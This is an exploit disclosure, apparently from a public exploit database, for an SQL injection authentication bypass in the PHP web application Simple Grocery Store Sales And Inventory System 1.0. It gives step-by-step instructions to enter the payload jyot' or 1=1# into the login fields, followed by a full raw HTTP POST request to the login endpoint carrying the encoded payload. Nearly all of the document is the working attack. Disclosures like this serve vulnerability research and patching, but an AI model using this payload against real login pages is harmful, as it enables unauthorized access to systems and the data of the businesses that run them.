Simple Grocery Store Sales And Inventory System 1.0 SQL Injection

`# Exploit Title: Simple Grocery Store Sales And Inventory System 1.0 - Authentication Bypass  
# Date: 24/09/2020  
# Exploit Author: Saurav Shukla & Jyotsna Adhana  
# Vendor Homepage: https://www.sourcecodester.com/php/14461/simple-grocery-store-sales-and-inventory-system-using-phpmysql-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sales-inventory-system-using-php.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
  
Step 1: Open the URL http://localhost/sales_inventory/login.php  
  
Step 2: use payload jyot' or 1=1# in user and password field  
  
Malicious Request:::  
  
  
POST /sales_inventory/ajax.php?action=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 53  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/sales_inventory/login.php  
Cookie: PHPSESSID=hdk9npcmq341ulcsn8cj6oefov  
  
username=jyot'+or+1%3d1%23&password=jyot'+or+1%3D1%23  
`